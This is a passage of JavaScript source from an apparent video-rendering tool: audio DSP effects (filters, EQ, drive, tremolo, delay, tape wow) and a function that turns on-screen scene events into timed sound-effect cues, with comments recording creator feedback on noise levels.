  }
}
export function hiss(B, lp = 6000) {
  for (const X of B) { const h = new SVF(), l = new SVF(); for (let i = 0; i < X.length; i++) { h.run(nz(), 400); X[i] += l.run(h.hp, lp) * .05; } }
}
export function wind(B) {
  B.forEach((X, c) => {
    const f = new SVF(), o = c * 2.1;
    for (let i = 0; i < X.length; i++) {
      const t = i / SR, fc = 700 + 450 * Math.sin(TAU * .031 * t + o) + 250 * Math.sin(TAU * .073 * t + 1 + o);
      X[i] += f.run(nz(), fc, .9) * (.6 + .4 * Math.sin(TAU * .05 * t + o)) * .3;
    }
  });
}

// ---------- bus FX ----------
function run(X, fc, q, out) { // fixed-cutoff TPT SVF over one channel; out(x, lp, bp, hp, k) gives the new sample
  const g = Math.tan(Math.PI * clamp(fc, 10, SR * .45) / SR), k = 1 / q, a1 = 1 / (1 + g * (g + k)), a2 = g * a1, a3 = g * a2; let s1 = 0, s2 = 0;
  for (let i = 0; i < X.length; i++) { const x = X[i], v3 = x - s2, v1 = a1 * s1 + a2 * v3, v2 = s2 + a2 * s1 + a3 * v3; s1 = 2 * v1 - s1; s2 = 2 * v2 - s2; X[i] = out(x, v2, v1, x - k * v1 - v2, k); }
}
export const filt = (B, mode, fc, q = .707) => B.forEach(X => run(X, fc, q, mode === 'lp' ? (x, l) => l : mode === 'hp' ? (x, l, b, h) => h : (x, l, b, h, k) => b * k));
export const eq = (B, fc, db, q = .707) => { const G = dbg(db) - 1; B.forEach(X => run(X, fc, q, (x, l, b, h, k) => x + G * k * b)); };
export const shelf = (B, fc, db) => { const G = dbg(db) - 1; B.forEach(X => run(X, fc, .707, (x, l, b, h) => x + G * h)); }; // high shelf
const peak = B => { let p = 1e-9; for (const X of B) for (let i = 0; i < X.length; i++) { const a = Math.abs(X[i]); if (a > p) p = a; } return p; };
export function drive(B, k) { const p = peak(B); for (const X of B) for (let i = 0; i < X.length; i++) X[i] = p * Math.tanh(k * X[i] / p) / k; }
export function autopan(B, rate, depth) { const [L, R] = B; for (let i = 0; i < L.length; i++) { const s = depth * Math.sin(TAU * rate * i / SR); L[i] *= 1 - s; R[i] *= 1 + s; } }
export function pump(B, period, depth, t1 = Infinity) { // sidechain-style duck once per period (s) that recovers over the period, until t1
  const n1 = Math.min(B[0].length, Math.round(t1 * SR));
  for (const X of B) for (let i = 0; i < n1; i++) X[i] *= 1 - depth * Math.pow(1 - (i / SR / period) % 1, 2.5);
}
export function trem(B, rate, depth) { for (const X of B) for (let i = 0; i < X.length; i++) X[i] *= 1 - depth * (.5 + .5 * Math.sin(TAU * rate * i / SR)); }
export function crush(B, k, bits) {
  const st = peak(B) / Math.pow(2, bits - 1);
  for (const X of B) { let h = 0; for (let i = 0; i < X.length; i++) { if (i % k === 0) h = Math.round(X[i] / st) * st; X[i] = h; } }
}
export function pingpong(In, time, fb, lpf = 3000) { // returns the wet signal only
  const N = In[0].length, D = Math.max(1, Math.round(time * SR)), bl = new Float32Array(D), br = new Float32Array(D), out = [new Float32Array(N), new Float32Array(N)];
  const fL = new SVF(), fR = new SVF(), hL = new SVF(), hR = new SVF(); let i = 0;
  for (let n = 0; n < N; n++) {
    const dl = bl[i], dr = br[i]; out[0][n] = dl; out[1][n] = dr;
    hL.run(fL.run(dr * fb + (In[0][n] + In[1][n]) * .5, lpf), 220); hR.run(fR.run(dl * fb, lpf), 220);
    bl[i] = hL.hp; br[i] = hR.hp; if (++i >= D) i = 0;
  }
  return out;
}
export function wow(B, ms, rate, fl) { // tape wow (slow) and flutter (7.3 Hz) as a modulated delay
  const N = B[0].length;
  for (const X of B) {
    const C = X.slice();
    for (let n = 0; n < N; n++) {
      const p = n - (6 + ms * Math.sin(TAU * rate * n / SR) + fl * Math.sin(TAU * 7.3 * n / SR)) * SR / 1000, i = Math.floor(p), fr = p - i;
      X[n] = i < 0 ? 0 : C[i] * (1 - fr) + C[Math.min(i + 1, N - 1)] * fr;
    }
  }
}

// Sound design cues derived from the (already SHORT-time) spec. Every visual event that the viewer sees gets a
// matching soft paper/UI sound, so a new short needs zero audio authoring. spec.sfx = {mute: true} disables it,
// spec.sfx.extra = [[t, 'tap' | 'pop' | 'slide' | 'bell' | 'thud', gain?]] adds manual hits (SOURCE time, mapped).
// Noise whooshes ("squish": swish/slide/air) stay rare and quiet. A paper slide plays only when the paper sheet comes
// back over a full-camera frame (or for the very first sheet), never on a card swapping in place, and at most one every
// spec.sfx.slideGap s (default 8), scaled by spec.sfx.swish (default .35). Highlights are a soft felt `marker`, not a
// scratch, at most one per .9 s, scaled by spec.sfx.marker (default 1, 0 = silent). Layout moves, card moves, dims,
// exits and title words are silent or use a tick/pop.
// spec.sfx.accents (default 0 = off, profile `sfx.accents`) adds a few glassy blips on key moments only: a logo or icon
// landing, a blue bar reaching its value, a speaker tag or blue chip, a strike. At most one every spec.sfx.accentGap s
// (default 1.5). Clicks on every text, swells on every bar and typing sounded like noise.
// spec.sfx.appear = 'slide' (soft mode, review 2026-10-06 "trop de bruit, toujours le même bruit"): every actor and
// board item appearing gets one very quiet paper slide (spec.sfx.appearGain, default .1), at most one every
// spec.sfx.appearGap s (default 1.2); board pops, bells, blips, zips and tick runs are dropped. Pair it with a lower
// spec.mix.sfx, the SFX bus is normalized to that level.
// spec.sfx.only = ['slide', 'shutter', ...] keeps only those sounds, spec.sfx.minGap s then thins every hit left (hits
// within .3 s count as one) to at most one per minGap, keeping tweet shutters and paper slides first. Long-form
// (format youtube) gets this by default, see LONG_SFX in lib/style.js (YouTube comments 2026-10-08 on the Mistral
// video: "les tings", "les clochettes c'est fini", 17 hits/min). Manual spec.sfx.extra hits bypass both.
import { typing } from './timeline.js';
import { hz } from './dsp.js';

const KEEP = { shutter: 3, slide: 2, thud: 1, marker: 1 };   // which hit survives the minGap thinning first

export function sfxCues(spec, tl, X0) {
  if (spec.sfx?.mute) return;
  const ONLY = spec.sfx?.only && new Set(spec.sfx.only), GAPS = spec.sfx?.minGap ?? 0, rec = [];
  const X1 = ONLY || GAPS ? new Proxy(X0, { get: (o, k) => typeof o[k] === 'function' && k !== 'rand'
    ? (...a) => { if (!ONLY || ONLY.has(k)) rec.push([k, a]); } : o[k] }) : X0;
  // spec.sfx.tick (profile sfx.tick): 'tick' (default) keeps the clock ticks; 0 drops them; 'mallet' turns every tick run
  // (counters, rows, lists) into a rising marimba arpeggio, one note per .14 s at most (the creator 2026-10-16 on the podcast
  // counters: « le tick est insupportable »). Four notes per run at most, one per .22 s, well under the voice
  // (2026-10-16 on vendre-saas v3: « pourquoi tu mutes ce qu'il dit avec des bruits »)
  const TK = spec.sfx?.tick ?? 'tick', ARP = [0, 4, 7, 12], tk = { t: -9, k: 0, n: 0, at: [] };
  const X = TK === 'tick' ? X1 : new Proxy(X1, { get: (o, k) => k !== 'tick' ? o[k] : (t, f, g = .03, p = 0) => {
    if (!TK || tk.at.some(u => Math.abs(u - t) < .22)) return;
    if (t - tk.t > .45) { tk.k = 0; tk.n = 0; } else tk.k = Math.min(tk.k + 1, ARP.length - 1);
    tk.t = t; if (++tk.n > ARP.length) return; tk.at.push(t);
    o.mallet(t, hz(79 + ARP[tk.k]), Math.min(.035, g), p, o.SFX);
  } });
  const T = tl.duration, SW = spec.sfx?.swish ?? .35, MK = spec.sfx?.marker ?? 1, A = spec.sfx?.accents ?? 0, ST = spec.sfx?.strike ?? 1;
  const scratch = (t, len, g, p) => { if (ST > 0) X.scratch(t, len, g * ST, p); };       // hand-drawn strikes (0 = silent)
  const lands = [], marks = [], accs = [], apps = [], SOFT = spec.sfx?.appear === 'slide';
  const appear = (t, p = 0) => apps.push([t, p]);
  const acc = (t, fn) => accs.push([t, fn]);                                              // modern accent (spaced below)
  const land = (t, g = .2, p = 0) => lands.push([t, g, p]);                               // quiet paper landing (gated below)
  const mark = (t, dur = .6) => marks.push([t, dur]);                                     // highlighter sweep (spaced below)
  const whoosh = (t, len, g, o) => { if (SW > 0) X.swish(t, len, g * SW, o); };           // UI send / big reveal only

  // layout: the paper sheet moving over the camera is silent. It moves every 2-4 s and a whoosh on each move was
  // the main source of "squish"; the music bed and the entering card already carry the change.

  for (const a of spec.actors || []) {
    const t0 = a.from - (a.pre || 0);
    if (SOFT) { appear(t0 + .05, a.enter === 'right' ? .5 : 0); for (const m of [].concat(a.mark || [], a.marks || [])) mark(m.at, m.dur ?? .6); continue; }
    if (t0 > .05) land(t0 + .05, .22, a.enter === 'right' ? .5 : 0); else X.thud(0.02, .25);
    for (const [t] of (a.labelKeys || []).slice(1)) X.tick(t, 2200, .035);
    for (const m of [].concat(a.mark || [], a.marks || [])) mark(m.at, m.dur ?? .6);
    if (a.ringAt != null) X.pop(a.ringAt, 640, .1);
    if (a.badge) { X.pop(a.badge.at + .1, 760, .12, .4); X.bell(a.badge.at + .15, hz(88), .045, .4); }
  }

  for (const s of spec.scenes || []) {
    const f = s.from;
    if (s.type === 'stat') {
      land(f + .06, .18);
      const n = 16; for (let k = 0; k < n; k++) { const u = k / (n - 1), e = 1 - Math.pow(1 - u, 2.2); X.tick(s.countFrom + (s.countTo - s.countFrom) * e, 1600 + k * 70, .04); }
      X.thud(s.countTo, .3); X.bell(s.countTo + .01, hz(84), .05); X.bell(s.countTo + .04, hz(91), .035, .3);
    }
    if (s.type === 'race') {   // quiet count ticks while the meters run, a pop when each model finishes, a bell on the winner
      land(f + .06, .2);
      const maxT = Math.max(...s.panels.map(p => p.time || 1));
      const ends = s.panels.map(p => s.countFrom + (s.countTo - s.countFrom) * Math.max(.35, (p.time || maxT) / maxT));
      const n = 12; for (let k = 0; k < n; k++) { const u = k / (n - 1); X.tick(s.countFrom + (Math.max(...ends) - s.countFrom) * u, 1700 + k * 60, .028); }
      ends.forEach((e, i) => X.pop(e, 560 + i * 90, .1, -.35 + .7 * i));
      if (s.winnerAt != null) { X.thud(s.winnerAt, .22); X.bell(s.winnerAt + .02, hz(84), .045); X.bell(s.winnerAt + .06, hz(91), .03, .3); }
      if (s.chip) X.pop(s.chip.at + .03, 640, .1);
    }
    if (s.type === 'bars') {
      (s.tags || []).forEach((g, i) => X.pop(g.at, 560 + i * 90, .1, -.3 + .6 * i));
      s.rows.forEach((r, i) => { X.tick(r.at + .02, 1500 + i * 120, .03); X.pop(r.at + .08, 420 + i * 60, .08); });
      if (s.gapAt != null) { X.pop(s.gapAt, 380, .08); X.marker(s.gapAt + .15, .32, .1 * MK); }
    }
    if (s.type === 'tiles') {
      if (s.header) X.tick(s.header.at + .05, 2000, .03);
      s.items.forEach((it, i) => { X.pop(it.at + .05, 520 + i * 70, .1, -.4 + .4 * i); if (it.strikeAt != null) scratch(it.strikeAt, .3, .12, -.4 + .4 * i); });
    }
    if (s.type === 'title') {
      s.lines.forEach((ln, i) => X.pop(ln.at + .04, 560 + i * 80, .06));
      s.lines.forEach(ln => { if (ln.emphAt != null) { X.bell(ln.emphAt, hz(86), .04); X.bell(ln.emphAt + .03, hz(93), .03, .3); } });
    }
    if (s.type === 'slide') {   // clean slides: one hit for the headline, one per item (soft: a quiet paper slide each)
      const t0 = f - (s.pre || 0);
      const items = (s.items || []).flatMap((it, i) => it.k === 'bars' ? it.rows.map((r, j) => ({ ...r, x: it.x + it.w / 2, at: r.at ?? (it.at ?? t0 + .25 + i * .12) + j * .12 })) : [{ ...it, at: it.at ?? t0 + .25 + i * .12 }]);
      if (SOFT) { if (t0 > .05) appear(t0 + .02); for (const it of items) if (!it.ghost) appear(it.at + .04, it.x != null ? (it.x - 540) / 900 : 0); continue; }
      if (t0 > .05) X.tick(t0 + .04, 2000, .03);
      for (const it of items) {
        const pan = it.x != null ? (it.x - 540) / 900 : 0;
        if (!it.ghost) X.pop(it.at + .04, it.k === 'pill' ? 680 : 560, .06, pan);
        if (it.countAt != null) { const a = it.countAt, b = it.until ?? a + 1.2, n = 12; for (let k = 0; k < n; k++) X.tick(a + (b - a) * (1 - Math.pow(1 - k / (n - 1), 2.2)), 1600 + k * 70, .028, pan); if (it.win) X.bell(b + .01, hz(84), .035, pan); }
        if (it.strikeAt != null) scratch(it.strikeAt, .3, .1, pan);
        if (it.badgeAt != null) X.pop(it.badgeAt + .03, 700, .07, pan);
        if (it.ringAt != null) X.bell(it.ringAt + .02, hz(86), .035, pan);
      }
      continue;
    }
    if (s.type === 'board') {   // one quiet hit per item entering, keyed by kind; same-time items share a single hit
      const seen = new Set();
      for (const it of s.items) {
        if (it.quiet || it.k === 'rect' || it.k === 'glass') continue;   // a plain rect has no sound and must not claim the slot of the item it backs
        const t = (it.at ?? f) - (it.pre ?? 0), key = Math.round(t * 8);
        const pan = it.x != null ? (it.x - 540) / 900 : 0;
        if (SOFT) { appear(t + .05, pan); continue; }
        if (A > 0) {   // accents on their own timing, never deduped
          if (it.k === 'bar' && it.blue && it.fillTo != null) acc(it.fillTo, () => X.blip(it.fillTo, 1560, .032 * A));
          if (it.strikeAt != null) acc(it.strikeAt, () => X.zip(it.strikeAt, .26, .04 * A, pan));
        }
        if (it.k === 'shatter' && it.breakAt != null) { X.thud(it.breakAt, .34); X.pop(it.breakAt + .01, 420, .12, pan); }   // + a glass file in sfx.files
        if (seen.has(key) && it.k !== 'stamp' && it.k !== 'counter') continue; seen.add(key);
        if (A > 0 && (it.k === 'logo' || it.k === 'icon' || it.k === 'shatter')) acc(t, () => X.blip(t + .07, it.k === 'icon' ? 1180 : 1320, .032 * A, pan));
        const tagChip = A > 0 && it.k === 'chip' && (it.dot || it.blue);
        if (tagChip) acc(t, () => X.blip(t + .06, 1560, .03 * A, pan));
        if (it.k === 'stamp') { X.thud(t + .02, .24); X.pop(t + .04, 480, .1, pan); }
        else if (it.k === 'counter') {
          const a = it.countFrom ?? t, b = it.countTo ?? a + .9, n = 14;
          for (let k = 0; k < n; k++) { const u = k / (n - 1), e = 1 - Math.pow(1 - u, 2.2); X.tick(a + (b - a) * e, 1600 + k * 70, .035); }
          if (TK === 'tick') { X.thud(b, .24); X.bell(b + .01, hz(84), .04); } else if (TK) X.bell(b + .01, hz(91), .025);
        }
        else if (it.k === 'label') X.pop(t + .03, 520, (it.size || 90) >= 110 ? .1 : .08, pan);
        else if (it.k === 'chip') { if (!tagChip) X.pop(t + .04, it.blue ? 680 : 600, .09, pan); }   // accents: a blip instead
        else if (it.k === 'text') X.pop(t + .04, 560, (it.size || 64) >= 90 ? .07 : .05, pan);
        else if (it.k === 'bubble') X.tap(t + .04, it.side === 'me' ? .3 : .24);
        else if (it.k === 'icon' || it.k === 'card' || it.k === 'img' || it.k === 'yt') land(t + .05, .18, pan);
        else if (it.k === 'term') {   // keys while the command types, Enter, a tick per output line
          land(t + .05, .18, pan);
          const c = it.cmd || '', a = it.typeFrom ?? t, b = it.typeTo ?? a + c.length * .05;
          for (let k = 0; k < c.length; k++) X.key(a + (b - a) * k / c.length, .05 + .02 * X.rand(), .1);
          if (it.sendAt != null) X.tap(it.sendAt, .32, .1);
          for (const o of it.out || []) X.tick(o.at + .04, 1700, .028);
        }
        else if (it.k === 'screen') { land(t + .05, .18, pan); for (const g of [...(it.rings || []), ...(it.arrows || [])]) if (g.at != null) X.tick(g.at + .06, 1650, .03); }
        else if (it.k === 'toggle') { X.pop(t + .04, 560, .05, pan); if (it.onAt != null) X.tap(it.onAt, .3, pan); }
        else if (it.k === 'check') { X.bell(t + .1, hz(88), .04, pan); X.bell(t + .14, hz(95), .03, pan); }
        else if (it.k === 'bar') X.tick(t + .05, 1500, .03);
        else if (it.k === 'dots' || it.k === 'thumbs' || it.k === 'agents') { for (let k = 0; k < 6; k++) X.tick(t + .04 + k * .07, 1900 + k * 90, .025); }
        else if (it.k === 'diverge') X.tick(t + .05, 1700, .03);
        else if (it.k === 'reticle') { const a = it.closeFrom ?? t, b = it.closeTo ?? a + .8; for (let k = 0; k < 5; k++) X.tick(a + (b - a) * k / 4, 2200 + k * 120, .03); X.pop(b, 700, .09); }
        else if (it.k === 'edit') {   // the timeline edits itself: a tick on the marks, a snap when the silences close, ticks per caption, a chime on the animations
          land(t + .05, .18, pan);
          if (it.markAt != null) X.tick(it.markAt + .04, 2100, .03);
          if (it.cutAt != null) { X.tick(it.cutAt, 2500, .035); X.pop(it.cutAt + .4, 520, .08); }
          if (it.capsAt != null) for (let k = 0; k < Math.min(6, (it.imgs || []).length); k++) X.tick(it.capsAt + .04 + k * .07, 1800 + k * 90, .025);
          if (it.fxAt != null) { X.bell(it.fxAt + .08, hz(88), .03, pan); X.bell(it.fxAt + .12, hz(95), .022, pan); }
        }
        if (it.ringAt != null) X.pop(it.ringAt, 640, .09);
        if (it.emphAt != null) { X.bell(it.emphAt, hz(86), .035); X.bell(it.emphAt + .03, hz(93), .025, .3); }
        for (const g of it.groups || []) X.pop(g.at + .03, 600, .07);
        if (it.reticleAt != null) { X.tick(it.reticleAt, 2400, .04); X.thud(it.reticleAt + .3, .18); }
      }
    }
    if (s.type === 'chat') {
      land(f + .08, .22);
      X.tap(s.newChatAt, .3, .3);
      X.tap(s.focusAt, .28, -.1);
      const toks = typing(s.prompt.text, tl.words, s.prompt.from, s.prompt.to);
      let last = -1;
      toks.forEach(k => {
        const d = Math.min(.26, Math.max(.08, k.end - k.start)), n = k.tok.length + 1;
        for (let c = 0; c < n; c++) { const t = k.start + d * c / n; if (t - last > .05) { X.key(t, .06 + .03 * X.rand(), -.2 + .4 * X.rand()); last = t; } }
      });
      X.tap(s.sendAt, .32, .2); whoosh(s.sendAt + .02, .45, .2, { f0: 700, f1: 3000, pk: .35 });
      if (s.workFrom != null) for (let t = s.workFrom + .2, k = 0; t < s.workTo; t += .32, k++) X.tick(t, 1800 + (k % 2) * 400, .018, .2);
      if (s.result) { land(s.result.at + .05, .22); X.bell(s.result.at + .1, hz(84), .045); X.bell(s.result.at + .16, hz(88), .035, .25); }
    }
    if (s.type === 'convo') {   // the voices carry the words: only a soft tap per bubble, a pop per reply, a bell on the image
      land(f + .08, .22);
      for (const m of s.msgs) {
        if (m.who === 'me') X.tap(m.from - .1, .2, .25);
        else if (m.image) { X.pop(m.at + .04, 560, .08); X.air(m.genFrom, m.sharpAt - m.genFrom, .1); X.thud(m.sharpAt, .16); X.bell(m.sharpAt, hz(84), .05); X.bell(m.sharpAt + .05, hz(91), .035, .25); }
        else X.pop(m.at + .02, 620, .06, -.25);
      }
    }
    if (s.type === 'scatter') {
      land(f + .06, .2);
      s.points.forEach((p, i) => p.label ? X.pop(p.at + .03, 520 + i * 80, p.color === 'gray' ? .07 : .11, -.4 + .1 * i) : X.tick(p.at, 1700 + i * 60, .025));
      for (const a of s.arrows || []) { X.marker(a.at, .32, .08 * MK, .2); if (a.card) X.pop(a.card.at, 640, .09, .3); if (a.card?.sub) X.tick(a.card.sub.at, 2200, .035); }
      if (s.dyAt != null) X.marker(s.dyAt + .15, .32, .09 * MK);
      if (s.dyChip) X.pop(s.dyChip.at, 640, .09, .4);
      if (s.dxAt != null) X.marker(s.dxAt, .32, .09 * MK);
      if (s.dxChip) X.pop(s.dxChip.at, 700, .09);
      if (s.ringAt != null) { X.pop(s.ringAt, 760, .1); X.bell(s.ringAt + .05, hz(86), .045); X.bell(s.ringAt + .09, hz(91), .035, .3); }
    }
    if (s.type === 'switch') {
      land(f + .06, .18);
      (s.headerKeys || []).slice(1).forEach(([t]) => X.tick(t, 2100, .03));
      (s.sideKeys || []).slice(1).forEach(([t], i) => { X.tap(t, .3, i % 2 ? .25 : -.25); X.pop(t + .1, 640 + (i % 2) * 90, .07); });
      (s.chips || []).forEach((c, i) => X.pop(c.at, 560 + i * 70, .09, c.side ? .35 : -.35));
      if (A > 0) (s.chips || []).forEach(c => acc(c.at, () => X.blip(c.at + .06, 1560, .03 * A, c.side ? .35 : -.35)));
    }
    if (s.type === 'tree') {
      land(f + .06, .2);
      s.lines.forEach((ln, i) => { X.tick(ln.at, 1900 + i * 90, .035); if (ln.link) X.pop(ln.link.at + .06, 700, .08, .3); });
    }
    if (s.type === 'snap') { X.snap(f, .55, -.3); X.bell(f + .08, hz(96), .03, .3); }
    if (s.type === 'xylo') {
      land(f + .06, .18); s.notes.forEach((_, i) => X.tick(f + .1 + i * .08, 1500 + i * 120, .03, -.3 + .2 * i));
      (s.hitKeys || []).forEach(([t, i]) => { const m = (s.midi || [76, 79, 81, 84])[i]; X.mallet(t, hz(m), .32, -.45 + .3 * i, X.SFX); X.bell(t + .005, hz(m + 12), .03, -.45 + .3 * i); });
    }
    if (s.type === 'sfxtrack') {
      land(f + .06, .2); if (s.tag) X.pop(s.tag.at, 700, .09, .4);
      s.rows.forEach((r, i) => X.tick(r.at, 1700 + i * 110, .035));
      if (s.playFrom != null) whoosh(s.playFrom, Math.max(.4, s.playTo - s.playFrom), .06, { f0: 400, f1: 1600, pk: .5, p0: -.6, p1: .6 });
    }
    if (s.type === 'popover') {
      X.pop(f + .02, 560, .12);
      const toks = typing(s.message.text, tl.words, s.message.from, s.message.to); let last = -1;
      toks.forEach(k => { const d = Math.min(.26, Math.max(.08, k.end - k.start)), n = k.tok.length + 1;
        for (let c = 0; c < n; c++) { const t = k.start + d * c / n; if (t - last > .05) { X.key(t, .05 + .03 * X.rand(), -.2 + .4 * X.rand()); last = t; } } });
      if (s.clickAt != null) { X.tap(s.clickAt, .34, .2); X.pop(s.clickAt + .06, 700, .09, .2); }

    }
    if (s.type === 'pause') { X.stop(f - .02, .55, .22); X.thud(f, .18); if (s.to != null) { X.start(s.to - .36, .38, .16); X.tap(s.to - .02, .3); } }
    if (s.type === 'pipeline') {
      land(f + .06, .2); if (s.header) X.tick(s.header.at, 2000, .03);
      s.rows.forEach((r, i) => { X.pop(r.at + .03, 520 + i * 60, .09, -.3 + .12 * i); X.tick(r.at + .45, 2400 + i * 80, .03, .4); });
    }
    if (s.type === 'comment') {
      land(f + .06, .22); X.tap(s.clickAt, .3, .1);
      if (s.typed) { const n = s.typed.length; for (let c = 0; c < n; c += 1) X.key(s.typeFrom + (s.typeTo - s.typeFrom) * c / n, .05 + .02 * X.rand(), .1); }
      if (s.sendAt != null) { X.tap(s.sendAt, .32, .3); whoosh(s.sendAt + .02, .4, .18, { f0: 700, f1: 3000, pk: .35 }); X.bell(s.sendAt + .1, hz(84), .045, .3); }
    }
    if (s.type === 'tweet') { if (s.photo) X.shutter(f - (s.pre || 0) + .02, .3); else land(f + .06, .2); for (const m of s.marks || []) mark(m.at, m.dur ?? .7); }
    if (s.type === 'columns') {
      let k = 0; for (const g of s.groups) {
        for (const c of g.cols) { X.tick(c.at + .02, 1500 + k * 120, .03); X.pop(c.at + .08, 420 + k * 60, .06, -.3 + .2 * k); k++; }
        if (g.ghost) { X.marker(g.ghost.at + .05, .3, .08 * MK, .2); if (g.ghost.chip) X.pop(g.ghost.chip.at, 640, .08, .3); }
      }
    }
    if (s.type === 'recap') {
      if (s.header) X.pop(s.header.at + .03, 560, .06);
      s.rows.forEach((r, i) => X.tick(r.at + .02, 1700 + i * 70, .025, -.3 + .07 * i));
    }
    if (s.type === 'usage') {
      land(f + .06, .2);
      s.rows.forEach((r, i) => { if (r.fill) { X.marker(r.fill.at, .4, .08 * MK, .2); X.thud(r.fill.at + .55, .16); } if (r.mark) X.tick(r.mark.at, 2000 + i * 150, .035); });
    }
    // motion-design film beats: each one enters with a swish and lands, then its own event sounds
    if (s.type?.startsWith('md') && s.type !== 'mdGrid') { whoosh(f - .12, .32, .5, { p0: .5, p1: -.3 }); land(f + .1, .18); }
    if (s.type === 'mdIntro') { X.thud(f + .08, .2); X.bell(f + .15, hz(84), .05, 0); X.bell(f + .3, hz(91), .035, .2); }
    if (s.type === 'mdRec') { X.tick(f + .3, 2600, .03); if (s.stamp) { X.thud(s.stamp.at, .2); X.pop(s.stamp.at + .02, 520, .1); } }
    if (s.type === 'mdWave') {
      scratch(s.sweepFrom, Math.min(1.2, s.sweepTo - s.sweepFrom), .05, .1);
      s.words.forEach((_, i) => X.tick(s.sweepFrom + (s.sweepTo - s.sweepFrom) * ((i + .5) / s.words.length) * .92, 2000 + i * 120, .03, -.3 + .12 * i));
      if (s.markAt != null) X.bell(s.markAt, hz(93), .04, .3);
    }
    if (s.type === 'mdVision') {
      whoosh(s.scanFrom, s.scanTo - s.scanFrom, .45, { f0: 300, f1: 1400 });
      if (s.flipAt != null) for (let k = 0; k < 10; k++) X.tick(s.flipAt + k * .07, 2800 + k * 40, .022, -.2 + .04 * k);
    }
    if (s.type === 'mdDiffuse') {
      if (s.prompt) { let last = -1; for (let t = s.prompt.from; t < s.prompt.to; t += .065 + .03 * X.rand()) { if (t - last > .05) { X.key(t, .045 + .02 * X.rand(), -.1 + .2 * X.rand()); last = t; } } X.tap(s.prompt.to + .02, .25); }
      X.air(s.genFrom, s.sharpAt - s.genFrom, .12);
      X.bell(s.sharpAt, hz(88), .05, 0); X.thud(s.sharpAt, .16);
    }
    if (s.type === 'mdCode') s.lines.forEach(ln => {
      const d = ln.dur ?? ln.text.length * .03, e = ln.at + d;
      for (let c = 0; c < ln.text.length; c += 2) X.key(ln.at + d * c / ln.text.length, .035 + .02 * X.rand(), -.1 + .2 * X.rand());
      if (ln.fx === 'xylo') [76, 79, 81, 84].forEach((m, i) => X.mallet(e + .05 + i * .13, hz(m), .09, -.2 + .13 * i));
      else if (ln.fx === 'snap') X.snap(e + .05, .4, .2);
      else if (ln.fx === 'birds') { X.chirp(e + .05, 3200, 4200, .09, .04, .3); X.chirp(e + .2, 3600, 4600, .08, .035, -.2); X.chirp(e + .32, 3000, 4000, .1, .03, .1); }
      else if (ln.fx === 'tom') [0, .15, .3].forEach((d, i) => X.tom(e + .05 + d, .35, 100 + 18 * i, -.3 + .3 * i));
      else if (ln.fx === 'swish') X.swish(e, .45, .12, { f0: 400, f1: 3200, pk: .4 });
      else if (ln.fx === 'bass') X.bass(e + .05, hz(40), .45, .6);
      else X.pop(e + .04, 640, .07);
    });
    if (s.type === 'mdAssemble') {
      let k = 0; s.tracks.forEach(tr => tr.clips.forEach(() => { const at = s.flyFrom + k * (s.stagger ?? .075) + .22; if (k % 2 === 0) X.pop(at, 500 + (k % 7) * 70, .06, -.3 + .06 * (k % 10)); k++; }));
      whoosh(s.playFrom, s.playTo - s.playFrom, .35, { f0: 500, f1: 900 });
      if (s.stamp) { X.thud(s.stamp.at, .22); X.pop(s.stamp.at + .02, 480, .1); }
    }
    if (s.type === 'mdCut') {
      if (s.markAt != null) [0, 1, 2, 3].forEach(i => X.tick(s.markAt + i * .07, 2200 + i * 150, .03, -.3 + .2 * i));
      if (s.closeAt != null) { whoosh(s.closeAt, .5, .3, { f0: 1000, f1: 300 }); X.thud(s.closeAt + .5, .16); }
      if (s.speedAt != null) { X.thud(s.speedAt, .2); X.pop(s.speedAt + .02, 520, .1); }
      if (s.clock) { for (let t = s.clock.at; t < s.clock.endAt; t += .11) X.tick(t, 2600, .02); X.bell(s.clock.endAt, hz(91), .045, 0); }
    }
    if (s.type === 'mdStills') {
      for (let i = 0; i < 8; i++) X.tick((s.enterAt ?? f + .1) + i * .06 + .1, 1800 + i * 90, .025, -.3 + .08 * i);
      if (s.scanFrom != null) whoosh(s.scanFrom, Math.max(.4, (s.flagAt ?? s.scanFrom + 1.5) - s.scanFrom), .25, { f0: 400, f1: 900 });
      if (s.flagAt != null) { X.pop(s.flagAt, 420, .1); X.thud(s.flagAt, .14); }
      if (s.fixAt != null) { X.bell(s.fixAt + .05, hz(88), .045, .1); X.bell(s.fixAt + .17, hz(95), .035, .2); }
    }
    if (s.type === 'mdRender') {
      for (let t = s.renderFrom; t < s.renderTo; t += .09) X.tick(t, 2400 + 600 * ((t - s.renderFrom) / (s.renderTo - s.renderFrom)), .018);
      X.bell(s.renderTo, hz(91), .045, 0);
      (s.bars || []).forEach(b => { X.thud(b.at + .05, .15); if (b.blue) X.bell(b.at + .3, hz(96), .04, .2); });
    }
    if (s.type === 'chip') X.pop(f + .03, 600, .1);
    if (s.type === 'cta') {
      land(f + .08, .22);
      X.tap(s.clickAt, .34, .3); X.pop(s.clickAt + .08, 700, .1, .3); X.bell(s.clickAt + .14, hz(84), .05, .2); X.bell(s.clickAt + .2, hz(91), .04, .3);
    }
  }
  const cu = [].concat(spec.cutout || []).find(c => c.mode === 'cam');
  if (cu?.mode === 'cam') for (const L of [...(cu.bg || []), { at: cu.to }]) if (L.at != null && L.at < T) {
    whoosh(L.at - .04, .42, .2, { f0: 500, f1: 3600, pk: .35 });
    if (L.birds) for (let k = 0, t = L.at + .35; t < (L.birdsTo ?? L.at + 4) && k < 12; k++, t += .45 + .5 * X.rand()) X.chirp(t, 2600 + 1400 * X.rand(), 3800 + 1600 * X.rand(), .06 + .06 * X.rand(), .022, -.6 + 1.2 * X.rand());
  }
  // paper slides: only when the sheet re-enters over a full-camera frame (seam 0 just before, paper visible just
  // after) or for the first thing on paper, then thinned to one per slideGap. Card swaps on visible paper are silent.
  const seam = spec.layout?.keys || [], GAP = spec.sfx?.slideGap ?? 8;
  const seamAt = t => { let v = seam.length ? seam[0][1] : 960; for (const [k, y] of seam) if (k <= t) v = y; return v; };
  const first = Math.min(...(spec.actors || []).map(a => a.from - (a.pre || 0)), ...(spec.scenes || []).filter(s => s.layer !== 'over' && s.layer !== 'top').map(s => s.from));
  let lastLand = -1e9;
  for (const [t, g, p] of lands.sort((a, b) => a[0] - b[0])) {
    const enters = (seamAt(t - .2) <= 0 && seamAt(t + .4) > 0) || t <= first + .15;
    if (SW > 0 && enters && t - lastLand >= GAP) { X.slide(t, g * SW, p); lastLand = t; }
  }
  let lastApp = -1e9; const APG = spec.sfx?.appearGap ?? 1.2, APV = spec.sfx?.appearGain ?? .1;
  for (const [t, p] of apps.sort((a, b) => a[0] - b[0])) if (t - lastApp >= APG) { X.slide(t, APV, Math.max(-.5, Math.min(.5, p))); lastApp = t; }
